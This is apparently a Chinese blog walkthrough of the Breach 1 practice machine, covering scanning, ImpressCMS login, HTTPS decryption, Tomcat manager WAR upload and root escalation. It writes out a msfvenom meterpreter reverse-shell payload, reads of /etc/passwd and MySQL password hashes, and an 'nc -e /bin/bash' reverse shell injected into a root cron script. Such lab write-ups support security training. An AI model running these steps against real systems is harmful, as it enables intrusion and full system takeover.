1.端口扫描和信息收集
2.CMS后台信息收集
3.解密HTTPS流量
4.tomcat的后台利用
5.提权
1.端口扫描和信息收集:
首先进行主机发现,找到目标机器:
nmap -sP 192.168.110.1/24
找到目标机器,进行端口扫描:
nmap -T4 -A -v 192.168.110.140
一共扫到996个开放的端口,正好里面有一个HTTP服务,我们在网页打开看一下:
打开源码发现一个加密的东西,应该是MD5,
解密得到:pgibbons:damnitfeel$goodtobeagang$ta
这看起来像是一个账号和密码
我们继续找一些有用的信息,又发现了一个CMS的管理后台
我们对最初的目录进行目录扫描,看有没有什么遗漏的东西:
打开看一下:
继续扫一下CMS:
whatweb -v http://192.168.110.140/impresscms/
爆出了一些信息,到这里我们发现了部署的操作系统,但没有发现具体版本,我们可以打开msf去漏洞库看一下有没有相应的漏洞,
searchsploit impresscms
可以将后面的脚本依次利用,但没什么用
2.CMS后台信息收集
这个后台需要登录,我们之前获得了一个可疑的登录密码,我们试一下
果然,登录成功
随便翻一下,看有没有什么有用的信息
发现一个网址,粘贴到浏览器,下载一个keystore
又发现一个网址,点击,下载一个流量包,并且上面说账号和密码都是tomcat
我们打开流量包看一下:
发现里面有HTTPS,被加密看不了,结合之前我们获得的keystore 应该是获取加密的秘钥
3.解密HTTPS流量
因为我们有一个秘钥,我们查看一下
keytool -list -keystore keystore 密码是:tomcat (我们之前得到的)
我们生成密钥库,导出证书:
keytool -importkeystore -srckeystore D:\123\keystore -destkeystore D:\123\tomcat.p12 -deststoretype pkcs12 -srcalias tomcat
密码都是tomcat
得到了一个秘钥,我们将秘钥导入到流量包里面解密HTTPS流量
我们解密以后打开一个HTTPS的流量查看一下,正好获得了一个网址:打开
https://192.168.110.140:8443/_M@nag3Me/html
显示我们不能打开页面,因为这是一个HTTPS的页面,需要我们进行抓包操作
我们点击接收风险并且放包
我们得到了一个basic的登录页面,我们继续在流量包里面找看有没有账号密码
我们过滤一下HTTP的流量
ip.src == 192.168.110.140 || ip.dst ==192.168.110.140 and http
tomcat:Tt\5D8F(#!*u=G)4m7zB
登录试一下
成功,并且我们发现这里有一个上传点,要是war包
4.tomcat后台利用
我们用msfvenom生成一个java的反弹连接war包,
msfvenom -p java/meterpreter/reverse_tcp lhost=192.168.110.128 lport=4444 -f war -o kali.war
将其移动到物理机上,我们先开启一个msf监听再上传:
开启监听: use exploit/multi/handler
set payload java/meterpreter/reverse_tcp
set LHOST 192.168.110.128
set LPORT 4444
exploit
我们上传,记住这里点击上传的时候抓包,因为浏览器会进行其他的请求操作,我们要把它过滤了,单独把木马上传上去,然后迅速的点击上传的kali 抓包放包
回显:
反弹成功
5.提权
我们获得交互式的shell(输入有典型的回显)
python -c 'import pty;pty. spawn("/bin/bash")'
在当前目录,我们可以进行查找:
1.搜索漏洞
2.find;ls -a
3.history
4.sudo -l (查看可以用root执行什么权限)
5.查看操作系统版本:uname -a
6.查看password:cat /etc/passwd
看到了操作系统的版本,我们进行查找漏洞:
searchsploit 14.04 Ubuntu
没有对应的版本,我们查看一下
cat /etc/passwd
里面有一个MySQL数据库,我们可以看一下网站部署的路径,查看里面的内容,可能会有数据库连接的账号和密码
cd /var/www
打开看一下:
发现连接数据库的账号为root,密码为空,名字为impresscms
我们连接数据库:
mysql -uroot -p
查看一下数据库:
show tables;
链接上MySQL库:use mysql;
查看表:show tables;
查看:desc user
查询用户名和密码:select user,password from user; 密码可能是MD5
解出密码以后:这个密码可能是数据库的密码,也能是操作系统的登录密码
发现密码,MD5解密:thelaststraw
我们登录milton这个用户,
我们查看历史记录,发现一个用户,我们从这个入手,因为这个用户有sudo的权限
我们找密码,经过一番长时间查找,离谱的是这个密码藏在了网页的图片里面,
我们将图片下载:
wget http://192.168.110.140/images/bill.png
wget http://192.168.110.140/images/cake.jpg
wget http://192.168.110.140/images/initech.jpg
wget http://192.168.110.140/images/milton_beach.jpg
wget http://192.168.110.140/images/swingline.jpg
wget http://192.168.110.140/images/troll.gif
依次查看图片里面的内容:
strings bill.png
最后在一张图片里面发现了密码:coffeestains
我们进行登录
开始查找有用的信息
我们发现一个脚本,打开发现:
这是一个每隔三分钟清理一次其他用户部署的应用删除,那么我们可以利用这个加入一个反弹连接任务
我们查看一下可以用root权限执行的任务:
发现一个执行tee ,和修改脚本不需要密码
这里面有一个tee ,它的作用是把 tee file1 file2 ,可以把file1数据覆盖到file2中去
写一个反弹连接:
echo "nc -e /bin/bash 192.168.110.128 5555" > shell.txt
用tee 覆盖:
cat shell.txt | sudo /usr/bin/tee /usr/share/cleanup/tidyup.sh
查看一下是否成功:
cat /usr/share/cleanup/tidyup.sh
要先建立监听:
nc -lvvp 5555
最多三分钟反弹
反弹成功:
标签:http,查看,渗透,breach1,192.168,密码,110.140,靶机,我们 From: https://blog.csdn.net/2301_80116443/article/details/139881257